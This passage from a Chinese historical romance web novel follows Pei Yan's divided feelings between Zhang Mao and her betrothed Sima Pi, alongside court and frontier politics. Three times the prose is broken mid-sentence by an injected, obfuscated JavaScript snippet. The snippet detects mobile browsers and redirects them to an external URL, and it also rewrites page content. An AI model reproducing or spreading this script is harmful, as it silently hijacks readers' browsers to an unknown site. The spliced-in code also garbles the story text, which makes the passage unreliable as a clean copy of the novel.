“轰隆隆”,雷声在头顶乍响,犹如一棒打在裴妍耳边。她实在不知道,原来感情还能这般算计。裴妡要她遵从父母之命,裴娴要她选强者为夫君。总之,不能感情用事。裴妍原本想与张茂私奔的念头被裴娴打得粉碎。然而,她一时不能接受裴娴这个看似实用的建议。她觉得与姊妹们相比,她既笨且蠢,心眼还小——小到里面已经住了张茂,就再容不下另一个男人了。哪怕是虚与委蛇都不行! 可是这话她不打算对裴娴说。她知道裴娴话痨的性子,不说到她投降是不会停的。于是裴妍话题一转,顾左右而言他道:“这雷声着实吓人,阿嫂刚坐稳胎,可不要受惊了。” 裴憬的妻子柳蕙也是裴娴的舅家表姊。裴娴来钜鹿郡公府除了看望裴妍,总还要看望自家表姊的。 裴娴见自己信已带到,该说的话也说清楚了,便功成身退道:“你早些休息,顺便想想我与你说的话!我去看看蕙姊姊再走。” 裴妍点头,既感激裴娴的实言相告,内心又多少有些替情郎不值。人心果然难测,张茂让她有事不决就去问裴娴夫妇。若他知道裴娴背后是这样想他的,还会这么叮嘱么? …… 到了下晚,雨突然停了。天气重变得晴好,仿似方才的狂风暴雨只是一场荒唐的噩梦。 孤月高悬,洛阳宫里刚召进宫的小宫人们在各个管事黄门的指派下,正小心地拿巾子擦着地面,生怕湿滑的路面污了贵人的脚底。 洛阳宫北面的芳林园内,太子一边逗着脚边的猞猁,一边看着眼前热闹的集市,满意地笑了。 由黄门假扮的小贩卖力的吆喝着,摊子上堆叠着葵菜、鸡、面等物,居然还有一家贩肉的摊子,像模像样的。 约莫自己母亲出身市井的缘故,太子长大后最喜欢玩假扮平民的游戏,经常模仿民间的百姓,带着自己的宠物,大摇大摆的在“集市”、酒楼当中穿梭游戏,甚至好几次自己亲自操刀,在肉摊前,分猪卖肉,且刀工齐准,所切的肉,分两不差。 为此,言官没少弹劾太子。贾后却故意放任他。她巴不得太子再放纵骄恣些,好让朝臣失望。 圣上倒是责备过太子几次,然而天子亦是小儿心性。太子拉着皇帝逛过几次“集市”后,傻皇帝竟然颇觉有趣,不仅不再拘着儿子,有时自己也会过来一起玩。 司马毗来的时候,芳林园内正灯火通明,夜市上一派热闹的景象。太子拥着蒋美人,看一旁的小黄门给他们烙胡饼。 司马毗脸上微不可查的一僵。他与太子年龄相仿,论辈分,是太子的族叔,但论地位,他只是帝室疏族,甚至比琅琊王还要远一些。 前番他觐见天子,天子见他与太子年龄相仿,便属意他多与太子亲近。 司马毗这些年虽远在东海,但朝中时势却看得分明。如今贾后势大,与太子不睦,可圣上又只得太子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001234|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个儿子,贾后无法行废立之事。是以后党与太子党只能僵持着。这个时候,素来明哲保身的东海王府,实在不宜与任何一派过近。 他今日来,纯粹是应了天子旨意,点个卯而已。 太子看到他显得很高兴,一口一个“小皇叔”地唤着。 司马毗表现得战战兢兢,连呼不敢当,心忖:上一个被你皇叔长皇叔短的喊着的是成都王司马颖,如今还在邺城吃沙子哩! 太子颇自得地带司马毗逛了一圈集市,还亲自剁了一块里脊肉赠给他,令司马毗哭笑不得。 入夜,司马毗回到府里。甫一进内室,两边就有美貌的侍婢上来与他更衣。 司马毗看着婢子手上换下的衣物,皱眉道:“烧了罢,一股豕臭。” 裴妃适时进门,见儿子一脸不悦,便屏退左右,小心询问:“可是太子有不妥?” 太子到底是真放诞,还是故意藏拙? 司马毗摇头,他坐到案后,拿起一摞空白的竹简,研墨落笔,边给东海王写信,边道:“说不好,儿看不出来。” 裴妃回忆了一番,笑道:“记得太子幼时聪慧非常,怎么大了反而泯然众人?许是学楚庄王也未可知。” “一鸣惊人也需本事和运道。”司马毗道,他不认为如今的太子有什么胜算。但他同样不看好贾后。古往今来,没听说过无子又无德的皇后能得以善终的。两派之间,东海王府到底如何游走权衡,是个难题。 “若是赤龙在就好了,他总有办法洞察人心。可惜父亲那里更离不了他。”司马毗叹道。何况,他心里也清楚,父王这次派他来京,多少有考察他的意思——他虽是家中唯一的嫡子,奈何庶弟们日渐长成,父亲也由对他的独宠,变为处处考量,他不想在父亲面前露怯。 裴妃对外面的事不了解,便不多嘴。她是为裴妍来的。她凑到儿子身边,边给他磨墨,边戏谑道:“你没看到,我们阿妍真是美人啊!”她把裴妍长成后的样貌细致地给儿子描摹了一通。“可惜了,不知是害羞还是怎的,竟不肯去见你。” 司马毗面上八风不动,落笔的手却微微一顿。 裴妃见状好笑,但想起这次见裴妍,她俏生生地无事不开口的样子,不免叹道:“还是与我们生分了啊。” “经年不见,生分是常事。母亲以后常去钜鹿郡公府走动就是。”司马毗不觉得这是什么大事,女子娇羞本是寻常,两家本就是顶要好的亲戚。 裴妃哼道:“我娶妇还是你娶妇?我和阿妍都是裴家人,想亲近还不简单?人家疏远的是你,有本事自己哄去!” 一句话让司马毗想起小时候,裴妍常来王府小住。那时他少年心性,看不惯母亲宠爱别人家的孩子,嘴巴坏得很,经常把裴妍惹哭。司马毗无法,没少来求裴妃做和事佬。裴妃每每逗儿子:“人家气的是你,有本事自己哄去!” 司马毗想起旧事,耳根都犯了红,解释道:“儿子如今大了……朝中事忙,阿妍毕竟是女儿家……,裴府又在丧中……我上门多有不便……” 看儿子,话都说不利索了!裴妃不再逗他,拍着儿子的手,笑道:“阿母知道。放心,你的新妇,阿母替你守着!” 裴妃自信满满,不觉得儿子的婚事会有什么周折——裴妍是她自小就相中的儿媳,在王府和裴家都是心照不宣的。若非郭老夫人丧期三年,少不得,下半年就能把人迎进门了! 东海王府发出的信笺很快被亲兵八百里加急,送往青州的东海国。同样,西市景行街后巷飞出的信鸽扑闪着莹白的翅膀,打破深夜的寂寥,穿云破雾,一路西行。与此同时,还有不知多少信件来往于洛阳城内外,送往各自主人的案头。 几经辗转,一只信鸽落到了武威城外。大帐中,张茂将密信递给父亲。张轨一目十行地看完,面不改色地将它靠近一旁的油灯,火舌迅速舔上薄绢,很快化为灰烬。 “赵王入为车骑将军、太子太傅!”张轨轻嗤,“去了一个酒囊,换来一个饭袋”。 一旁的张茂亦沉默。贾后到底高估了梁王。如今的梁王在雍凉的名声比他的前任——赵王好不了多少。 梁王赴任后,本想杀孙秀以谢羌氐,却被赵王和幕僚辛冉拦下。梁王耳根软,在他们的劝解下,竟放了孙秀一马,让他与赵王一同归京。这便让恨透赵王和孙秀的氐羌匈奴诸族大为不满。 梁王不仅不加以安抚,反而听了辛冉的劝,沿用孙秀的策略,赋税徭役一样没减。有部落不服,他竟学赵王那样,直接派亲兵镇压。那亲兵头子为捞战绩,干脆一举屠族,杀了人家部落数百人。此番冒进的做法,与赵王何异? 张茂父子心有不满,可他们毕竟是武将,于政事上没有说话的份。可是有点眼力的都能看出来,以梁王这种不服就杀的激进做法,雍凉只会越平越乱。 “梁王如此,必不长久。”张轨吩咐儿子,“吾等尽职守势,不可冒进。”这是提醒儿子,要保全势力,以待来日了。毕竟,他们这些武将再能耐,也架不住阵后有个釜底抽薪的蠢才主官啊!谁的命不是命?他们凭什么要给梁王当垫背? 张茂明白父亲的意思。 张轨自来到凉州后,一直忙着联络征西军和扶风武王旧部,还纳了几个与他交好的胡人部落的女子为妾室。 梁王昏聩,比之赵王不遑多让,雍凉大乱是迟早的事。在这场动乱中,张家既要立功,又要保存势力,着实考验当家人的能耐。 “听说东海王世子归京了?”张茂正愣神的时候,张轨突然话题一转,聊到了不相干的人身上。 41. 风吹香鬓芙蓉面,绝艳芳泽玉质成 张茂心里一惊。 洛阳来的信笺素来是他转呈的。司马毗回京的事,他还没有上禀,可是父亲却还是知道了。 他早就知道父亲另有收信渠道,任何一个为帅者,都不可能只有一条线,无关信任,只为保险。信息收得多了,互相验证,也能减少误差不是。只是知道是一回事,被人当面问起又是另一回事。何况这里面,还藏着他和裴妍的风流账。 他心知,父亲大抵猜到了什么。 张轨摩挲着腰间短刃,意味深长:“既是中意,家里如今也够得着,取了便取了,何故做小儿女态。”这是明确支持他了! 张茂抬头看向父亲,见张轨非但没有生气,反而带点戏谑地隔空点了点他。 张茂有些诧异。原以为父亲多少会责备他的,他也做好说服父亲的准备。毕竟,他家在西北尚未站稳,实在不宜贸然得罪宗室。没想到,父亲竟完全不介意他与裴妍的私情,甚至支持他俩的事。 张轨看着素来有成算的儿子难得呆愣的模样,好笑地摇摇头:“河东裴氏的淑女,谁不想求来?以前是家门不够,如今却是另说。你既有此心,当更加勤勉,若能入得郡公法眼,或能如愿!” 这是要儿子多积军功,他也好去裴頠处为他说项。点到为止,张轨不再多言,而是起身抖抖身上的大髦,狠狠地一拍儿子劲瘦却宽厚的肩头,施施然地出了牙帐,想来是趁着太平的间隙,找哪个营妓潇洒去了。徒留张茂袖手仰头看着帐顶半晌,提着的一口气终于缓了下去。 他知道,他和阿妍的事,在父亲这里算是过了明路。有了父亲的支持,他和裴妍的事便能容易许多。 夏至三庚便数伏。 三伏天里暑热熏人,裴妍在府里一连窝了半个来月,确实如她答应小郭氏的那样,再没出过房门一步。但是相应的,她也已经很久没有收到张茂的来信。 据裴娴讲,自凉州到京畿,换马不换人的传信,约莫要半个月左右。张茂此前给她的信便是每隔半个月传来的。 她估算着时间,第二封也该到了。她忐忑地跟母亲说自己想去西市逛逛。 小郭氏素来刀子嘴豆腐心,哪里真能把女儿完全拘在家里?在河东老家那是没办法,如今到了京城,岂舍得继续关着她? 恰巧裴妡也来找裴妍,小郭氏便让她们姊妹作伴,一起出去散散。 西市景行街外,一辆不起眼的牛车平稳地驶过湿漉漉的路面。许是刚下过一场暴雨的缘故,今日的天气并不燥热。 车里,裴妡撩开纱帘,兴致勃勃地看着两侧店家竞相吆喝。 裴妡自小比裴妍稳重,但她毕竟只是十五岁的少女,玩心也重。以往她长年在宫里行走,很少出来闲逛。这次来西市,她竟比裴妍还要亢奋。 裴妍捏着团扇,表面上看着外面的街景发呆,心里其实急得要死——这么久了,不知道胡饼店有没有收到张茂的消息? 待到了景行街,裴妍跟裴妡道:“这里后街有家胡饼店,味道很不错,我们带点回去。”接着便对车外的容秋使了个眼色。 容秋会意,赶紧去店里“买饼”去了。 裴妡有些惊奇,对裴妍道:“我们不是才用过早饭?阿姊这是没吃饱?” 裴妍尴尬地道:“晚上没睡好,早上就喝了两口酪浆。” 裴妡满脸不可置信。骗鬼呢?我明明看你用了一大碗肉糜粥!她眨了眨眼,到底没有拆穿。 等胡饼的档口,她们的牛车就停在后街的巷子口。因是轻车简行,二女只带了贴身的婢子,一个车夫,另有部曲裴池带了三个护卫。 这时,却有一辆大车自景行街拐入巷子口。 后街本就狭小,姊妹俩的牛车更是占了半边道来。如此,人家的大车便进不去了。 于是裴池在禀明姊妹俩后,命车夫将牛车先退出巷子,方便人家的车马进来。 说时迟那时快,裴家的牛车刚退到景行街外,就见不远处一辆马车急驰而来,差点与裴家的牛车撞上! 还好对方车夫及时调转车头,两辆车只是略摩擦了下。然而那辆马车却因马儿受惊,原地打转一圈,继而跌跌撞撞地往人流中冲去。 车夫被甩在地上,难以动弹,眼见着路人遭殃,只得扯着嗓子对蒙了的人群大喊:“快散开!” 千钧一发之际,突然蹿出一个高大的汉子,径直跳上马车。这人似乎颇熟悉马性,就见他拽紧缰绳,左右牵引,马儿被他勒得高高撅了几次蹄后,终于力竭平复下来。 车夫见马车被控住,忍痛踉跄着走到车边,仰头对着车上勒马的大汉抱拳:“我家主人病重,郎主唤我来西市请扁鹊,万不想马儿受惊冲撞了路人。幸得壮士出手,某代左府谢过壮士。敢问壮士名姓,待某禀明家主,定备礼重谢!” 那壮士利落地跳下马车,围观的诸人这才看清,是一个人高马大的胡人,穿着部曲常着的玄色劲装,一看便是哪家的豪奴。 那人不在意的一摆手:“举手之劳!”言罢,他看了一眼不远处裴家的牛车,对车夫道:“你该过问对面车里的人有无伤着。” 车夫又赶紧踉跄着来与牛车前的裴池陈情道歉。 车里,姊妹俩压下惊怕,对视一眼。 这车夫自称出自左府,京城中姓左的人家不多。 裴妍小声问裴妡:“该不会是你那位老师家的吧?” 裴妡眉头微皱,隔着车门问来人:“足下可出自左郎中府上?” 车夫一愣,立刻应是。 郎中左思,名满京都的大才子。左思的姐姐是先帝的贵人左棻,她在宫里给公主及女官讲过《汉书》,是裴妡的老师。后来她年龄大了,便退出宫廷,搬出宫去,住在弟弟左思的府上。左棻这几年身体一直不好。唯一一次出来,还是月前,裴妡及笄,她作为正宾参加仪式。裴妡因在丧中,不便外出交际,也不知老师最近身体如何? 裴妡心里着急,赶紧对外面的车夫道:“既是病重,更不能耽误。正事要紧!” 车夫不敢耽搁,忙朝裴池一抱拳,便回身跃上马车。 道旁围观的群众听说人家是去请郎中的,也赶紧自发地散开一条道来,目送那车夫疾速离开。 裴妡看着车夫驾着马车疾驰而去,到底不放心,对裴妍道:“阿姊,一会你先回府,我想去左大家府上看看。” 裴妍道:“你这就坐车去吧!我正好下车走走。” 因有裴池护卫,裴妡也没跟堂姐客气,这就往老师府上赶。 裴妍下车后,一眼便见到刚才拦车的那个人。 她在车里时,隐约听到外面的人谈论,说有个人高马大的壮士拽住了失控的马车,心想大概便是这位了。 她好奇地看着此人,发现他居然是个红发碧眼的胡人,且也正讳莫如深地看着自己。不知为何,她隐约觉得这个胡人有几分面善。 裴池顺着裴妍的目光看去,见方才拦车的胡人还没走,便行上前去,朝他抱拳:“壮士英武,某佩服!” 那胡人却没有攀谈的意思,只是朝裴池略一抱拳,又看了一眼对面的裴妍,转身走了。 裴妍越看越觉得此人眼熟。 裴池见裴妍盯着那胡人的背影不放,便试探地问:“元娘认得此人?” 裴妍想了想,自己认识的胡人只有一个,就是当初那个叫石勒的小子。她隐隐觉得,这人和石勒有几分相像,不过自从东郊那件事后她就再也没有见过他了。听张茂说,石勒已经被发还原籍回老家去了。如今的他应该正在家中奉养父母吧! “不认得,胡人似乎长得都差不多。”她听自己说。 石勒走出景行街不久,就拐进了旁边的一个小巷子里,背靠在墙上,胸口剧烈起伏。 石勒今日是奉东海王府家老之命,给裴家送蜀地的矮脚马与东海的锦缎来的。出门时,恰看到裴家的女眷上了牛车,他一眼就认出其中一个就是裴妍。他一时鬼迷心窍,让属下回去复命,自己尾随着牛车,一路跟到了西市。他也说不清自己为什么要跟着她来。也不知道自己在期待什么。更不知道自己为什么会在裴妍看向自己时突然一阵心虚,竟就这样走了? 可能,他看着地上自己的影子,自嘲地笑了笑,比起相见,他更怕的是,裴元娘已经不记得他了吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001235|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴妍下车不久,容秋就取来了信。张茂在信里说他一切安好。另外,他加冠了,就在军营里,一切从简,他阿耶的诸部下做的正副宾,他的从父做的大冠。 裴妍既开心又失落。 她及笄,张茂没能来。张茂加冠,她亦没能参与。 虽说是俩人相隔天涯的缘故,可她知道,即便他们还都在京城,怕也看不到彼此的成人礼——在外人看来,他俩就该是这般毫无交集的两个人。只有他们自己知道他们是怎么一种关系。 裴妍有些闷闷不乐的。她安慰自己,张茂的兄长还有姐姐不是也没能参加他的冠礼么!时事如此,这也是没有办法的事。 这些心事她无人可诉,便又转头折腾她的那些花花草草。自从她种出娇贵的莲瓣兰后,对园艺越发上心。不止花草,连带着一些简单的果蔬,能种的她也跟着种,能自己上手的,绝不假手旁人。 她种的花草果蔬有时成,有时败。她倒也不介意,得了好的花儿果子,就献宝似的送他送你。她母亲小郭夫人、嫂子柳氏那里不少花草都出自她的手。 裴妡也吃到过她送的葫芦菜瓜。 小郭夫人原本一直嫌女儿跳脱,没想到裴妍读书女工皆不成,唯独喜好园艺。园艺本也是女子常见的打发时间的方式。只要裴妍注意不把自己晒黑,她就随她去了。 这日早晌,裴妍趁着天还凉爽,把菜园子料理完后,闲暇无事,见后湖边的云深舫空着,就命人布置一番,自己躲在里面小憩。 她惬意地躺在黄花梨矮榻上,身上不仅没有流汗,还分外的清凉舒爽。原来容秋在石舫的四角各置了一个铜盆,里面满满地堆叠着晶莹的冰块。 舫船四面透风,即便午时,也能感到凉风习习。舫内还燃着艾香,是以没有蚊虫叮咬。 裴妍看着眼前倚红偎翠的湖景,禁不住惬意地打了个大大的哈气,人也昏昏沉沉起来。 司马毗信步来到舫外,恰一阵清风吹来,鼻尖嗅到一抹似有若无的忍冬香。他顺着香气看去,就见画舫中,横躺着一位昏昏欲睡的美人,正是风吹香鬓芙蓉面,绝艳芳泽玉质成! 容秋第一时间看见来人,赶紧迎上前,半是拦人半是诘问:“敢问谁家郎君?何以误入女眷处?” 裴妍被一语惊醒,迷迷糊糊地转头,就见一身月白宽袍素服的司马毗,背着手,昂然立于舫外。 见到裴妍回过头来,许是被她的容光所摄,司马毗竟有一瞬的愣神,脑中不自觉地回荡起曹子建的诗来——丹唇外朗,皓齿内鲜,明眸善睐,靥辅承权。瑰姿艳逸,仪静体闲…… 这是他第一次见到长成后的裴妍,诚如阿母所言,如今的她当得起倾国倾城四字! 司马毗身后并未跟着仆从,无人替他报家门。显然他也没想到自己会被拦住。 他颇为克制地从裴妍处收回目光,恢复矜持的风度,面对容秋警惕的眼神,脸上划过一抹失落,幽幽道:“若风荷雨荷犹在,必不会拦我。” 一句话,令舫里的裴妍瞬间红了眼:“阿毗哥!”她在屏风后见过司马毗,自然认出了他。那些旧人旧事是裴妍和她母亲心里抹不去的痛,却又不能轻易为外人道。没想到经年不见,司马毗还记得她们。 容秋脸色一变,立刻对来人行礼,默默退到角落上去。她知道,眼面前的这位丰神俊朗的郎君,就是与裴元娘订婚的那位东海王世子了。 盛夏的午后格外宁静,只听得树上一声高过一声的蝉鸣,间或两声池水扑棱,是塘里的鲤鱼打挺,水面被掀开一点浪花,沿着荷叶的边沿微微荡漾开来。 司马毗长身玉立在水边,轻摇便面,眼前是满湖的夏景。池子里开满了红荷白莲,他微微呼吸间,就能嗅到一丝甜香,不知是荷花的,还是身后烹茶的裴妍的。他感到格外清爽。 其实他一早就到钜鹿郡公府了,只是与裴頠在内室谈了许久,出来又与裴家三兄弟寒暄半晌。裴頠这才放他进内院寻裴妍。 却有人告诉他,裴妍去了后湖的石舫乘凉。他又随引路的婆子一路来到这里,算是费了一番波折。好在佳人在侧,他觉得这半日交际也算值了。 42. 婉兮变兮忆总角,可恨儿时不重来 裴妍偷偷打量了司马毗的背影,惊觉他个子怎么蹿得这么高。依稀记得当年他们分别的时候,司马毗只不过比她略高一头而已。而如今,他的个子都已经赶上张茂了。 想起张茂,裴妍煮茶的手一抖,偷情的罪恶感瞬间涌上心头。 若是裴妡在,定要不屑地说:“偷情?你和司马毗是正经的未婚夫妻,算哪门子偷情?你和张茂在一块才叫偷哩!” 司马毗回头,见到蛾眉微簇兀自盯着火炉发呆的裴妍,笑道:“你小时候话很多,跟长舌的鹦鹉似的,怎么长大了反而成了闷嘴的葫芦?”语调轻松,透着熟稔。 裴妍正三心二意地想张茂呢,被他这么突兀地一插嘴,下意识反驳道:“小时候你还偷穿我裙子呢,怎么现在不见你着女装了?” 早年裴妍在东海王府小住的时候,裴妃拿了好料子不是先给儿子裁衣裳,而是可着裴妍挑。司马毗彼时也还是小小少年,妒忌心重,却又不好意思公然与小女郎和母亲争宠,只好默默咽下委屈。有一次他终于忍不住,偷摸到裴妍房里,把裴妃给裴妍新裁的衣裳自己试了,正得意洋洋地照镜子的时候,被裴妃和裴妍遇个正着,把裴妃和裴妍逗得哈哈大笑。 裴妍的话犹如打开了记忆的匣子,司马毗想起儿时的光景,摇头笑道:“小狗记得千年事。” 裴妍不服气道:“你才是狗!” 话一出口,裴妍便自知失言,他们已经长大了,不能再像儿时那样口无遮拦,只好小声地描补一句:“你自己不也全记得?怎么就我是狗!” 面对裴妍的反唇相讥,司马毗不仅不以为忤,反而隐隐觉得欣喜。隔了这么多年,裴妍这又憨又倔的性子,真是一点没变。 见裴妍不再说话,场面似有僵冷之意。司马毗轻咳一声,转移话题,道:“先前,给你寄的水玉可还喜欢?” 水玉本是东海国最重要的贡品之一,里面成色最好的,却被司马毗暗地里挑出一部分送给了裴妍。 裴妍点头,顺口道:“还没谢过你。”那些水玉一看就是上品。当然,她也不会白拿他的,“我托赤龙叔公带回去的琉璃器皿你可收到?”琉璃本就稀少,一整套的器皿更是价格不菲,拿来回礼,也算等值。 司马毗点头:“阿母很喜欢。” “还没有谢过姑姑,她之前给我和阿妡送的矮脚马,我和阿妡试过,骑起来正好。”她道。 比起疾风、追风这种凉州来的高头大马,川湘一带进贡来的矮脚马虽速度不疾,但出行更为便捷,至少上下不用踩人背。 只是如今西南亦动荡,即便京城,也很难寻到这么好的马种了。裴妃送来的这两匹算是京城独一份。 “你喜欢就好,不枉阿母一番心思。”司马毗道。 二人一问一答,说完便又是一阵冗长的沉默。 恰好裴妍的茶透了,容秋适时上前给二人分茶。 裴妍心里乱糟糟的。她既想尽地主之谊,好生招待这位儿时的玩伴。可又觉得与他太亲热,是对张茂的背叛。这里面的度该如何掌握,实在两难。 司马毗见她话不多,心里有些失落。他们小时候没那么拘束,经常一处玩闹,嬉笑打骂是常事。但那时年龄尚小,谁也不会计较总角小儿间的胡闹。如今二人大了,还订了亲,说话行事却格外拘谨起来。 这些年,他跟随父亲管理东海,宦海沉浮,交际应对无不得体。他的房里也收了几个小官之女为妾室,对于女子,不是全然没有经验的。 隐隐地,他觉得裴妍在刻意与自己生分。他猜想,必然是二人太久没见,让阿妍与他疏远了,偏这种事急不得,需徐徐图之。至少今日阿妍愿意见他了,不是吗? 司马毗饮完茶,见裴妍露出疲态,便自觉地起身与她告辞。 裴妍并未挽留他,只叮嘱容秋送客。 司马毗心里更加失落,只是面上不显,对着裴妍笑了笑,神色如常地走了。 裴妍看着他渐行渐远的背影,长长地舒了口气。和张茂在一起,她的心会不可控地乱跳,总想黏着他,巴不得二人一直在一处,哪怕什么也不做,就那么静静地坐着都是好的。而和司马毗在一起,她只觉小心翼翼。既怕离得太远伤了他,又怕走得太近引他误会。近不得也远不得,真不知该如何是好! 湖面有不少蜻蜓扑闪着透明的翅膀在荷叶的间隙里轻盈地点水。裴妍看着湖心荡起一圈又一圈的涟漪,眼光微不可查地闪了闪,握住便面的手骤然一紧。 不行!她受不得这种左右撕扯的折磨!她得找个机会与司马毗分说清楚。如司马毗这样的好郎君,合该找一个真心待他的女子,万不该被自己耽误! 然而还没等她想好对策,裴妡后脚就来了。相比起好侍花弄草的裴妍,裴妡每日早晌都会去父亲的书房温书。 裴頠如今赋闲,没事也喜欢指点这个聪明伶俐的女儿。以往她都要待到下晚才来找姐姐,今日却来得格外早。 一入石舫,裴妡立刻感到一阵凉气袭来,暑意尽退,只余风凉,她舒服地喟叹一句:“还是阿姊懂享受。”接着不顾裴妍嫌弃,和自家姐姐挤到了一张榻上。 裴妍把她满是香汗的脑袋往旁边挪了挪,继而问她:“今日怎的下学这么早?” “还不是想看看那位傻郎君找到人没有?” “呵!我说呢,叔父怎么把外男也往家里放,原来全是你授意的!”裴妍气鼓鼓地道。 裴妡可不背这个黑锅:“跟我有什么关系,你随意抓个府里人问问,东海王世子算外人?就算我不答应他,别人就不应了?” 裴妍不说话了,在裴府的人看来,司马毗是未来的姑爷,即便钜鹿郡公裴頠也会自认为通情达理地为侄女和世子创造见面的机会。 然而,“其他人不知也就罢了,你还不懂我吗?我可是什么都跟你讲的。”裴妍幽幽道。 裴妡朝她翻了个白眼,重又躺回去,拿腰扇呼呼地扇风:“你真是自己找罪受!” 裴妍正心烦着,拿便面的手柄推她:“你来就是数落我的?” “倒也不是,”裴妡重又坐直起来,突然正色道:“东海世子今天与阿耶说了些事。”她把今早在书房听到的她父兄与司马毗讨论的时事都与裴妍说了。 原来西北出了个反贼,叫什么,郝度元?居然一举破了幽州,还拥戴一个叫齐万年的氐人为帝,声势还挺大。朝廷正商量着向雍凉增兵呢! “我劝你还是对那个张郎君死心的好,什么建功立业,功劳是那么好挣的?仗打成这样,雍凉不仅没能平叛,还出了个反王,张家能得着好?” 裴妡的话,好似一盆雪水,对着裴妍兜头浇下。裴妍一下子从榻上坐起来,心里忐忑不安,倒不是担心张家是否失势,她只是纯粹担忧张茂的安危罢了——那些反贼那么厉害,张茂远征在外,会不会遇到意外? 不知现下凉州形势如何?朝廷预备派谁去支援?可惜她们一家如今身在孝中,等闲不得入宫,打探消息多有不便。 她赶紧招来容秋,命她去一趟薛五郎府上找裴娴,看能不能探点消息回来。 裴妡冷眼瞧着,她本意是让裴妍认清形势,早点斩断孽缘,不想裴妍不仅不愿放手,还处处担心袒护着那张家小郎。 她只觉自己这个姐姐真是没救了,但还是忍不住提点她:“换个婢子去,容秋太打眼!” 稍晚,去薛五郎家打探消息的婢子传来消息,道朝廷有意让安西将军夏侯骏与御史中丞周处带兵支援关中。 “怎么是他俩?”裴妡拧眉。她这些年常在内廷行走,因贾后临朝,后宫亦是前朝。她与河东公主跟在贾后身边耳濡目染,对朝中人物也算有一番见解。 “怎么了?”裴妍疑惑地问妹妹,“可是这二人有不妥?” 裴妡迟疑了一瞬,中肯地点评道:“夏侯将军虎贲之士,浩气英风;周御史允文允武,智计无双。” “那你这么惊讶做什么?” 裴妡欲言又止,随后摇摇头,但愿是她想多了。 裴妍见她这里问不出什么,心想她还是去找三嫂始平公主问问吧! 不料裴妡却对她说:“公主阿嫂你还不知道?有子万事足,她对朝上的事还没有我懂得多。你真要探消息,莫若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001236|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找东海王世子,我们认识的人里谁的消息比他灵敏?”一句话怼得裴妍哑口无言,这回轮到她欲言又止了。 月上中天,一星如斗,夏夜被不知隐于何处的知了吵得心烦意燥。 钜鹿郡公府的外书房却烛火通明。只是仆婢尽退,唯余中书令陈准与裴頠相对而坐。 陈准还是之前的主张:“周子隐虽有将才,然与梁王有宿怨,与夏侯骏亦不睦。此番增援关中,怎可派他去?” “娘娘怎么说?”裴頠有些诧异,原以为陈准夤夜来找自己,定是朝里出了大事,没想,竟只是为了一个周处。 裴頠与周处并无深交,只听闻他曾纠察弹劾过梁王,故而与梁王一系关系不好。 “娘娘道如今朝中无人可用,周子隐不去,莫非要调宿卫军外出退敌么?”说到这,陈准亦无奈。 宿卫军是拱卫宫城的,里面都是皇后的嫡系,也是皇城最后的屏障。哪能轻易外派?裴頠不说话了。贾后说的是实情。如今朝中将才凋零,青黄不接,正得年龄又有威信的武将,确实没几个。周处若不去,论资历和实力,也就孟观合适了。孟观是黄门侍郎,积弩将军,领宿卫军,是拱卫皇城的关键,轻易挪动不得,贾后不是不知道周处与梁王的过节,只是目下无人可用,派他去亦实属无奈。 “梁王虽性狭,但到底是一军统帅。军中上下十数万人看着,总不至于故意贻误军机,慢待将领吧?”裴頠知道陈准与周处颇相得,怕他关心则乱,故而安慰他。 然而陈准却信不过这位天子的叔祖,“骏及梁王皆贵戚,非将帅之才,进不求名,退不畏咎。以梁王节制周处,好比以豕犬驱使虎豹。若周处为统帅,则此战必胜;然若周处为副将,准斗胆预测,此战必败!” 这话就有些直了。陈准在张华和裴頠面前素来不温不火,难得看到他如此卖力地为一个人说项。显然,他很看重周处,甚至觉得此番周处去梁王和夏侯骏手底下打仗是狼入虎口,有去无回。 因此陈准才急着来找裴頠,想请他出山劝劝贾后:“不然,请孟将军带一万精兵当周处的前锋也好啊!” 裴頠不可置信地看了陈准一眼,觉得陈准是不是脑子糊涂了。 孟观的品级与周处不相上下,怎么可能让孟将军做他周处的副将?再说孟观乃娘娘心腹,娘娘断断不能为了一个周处,而赔上自己的股肱之臣吧! 何况,以梁王替换赵王,是他与张华一力促成的。裴頠觉得梁王虽庸碌,但在大是大非上不至于那么昏聩。裴頠到底没应他,二人话不投机,不欢而散。 陈准三步一回头,还想说什么,见裴頠一声不吭,知不可能有结果,终是拂袖而去。 同一片星空下,身处凉州的张轨父子,亦在借着棋局讨论此事。 “齐万年与郝度元皆骁勇之辈,父亲以为,朝廷会派谁来?”张茂落下一子,抬头问父亲。齐万年有南下关中之意,朝廷不可能不管。但是派谁来增援,却至关重要,这也直接影响他们张家日后的气数。 张轨拈了拈短须,沉吟道:“孟叔时可,周子隐不可。” 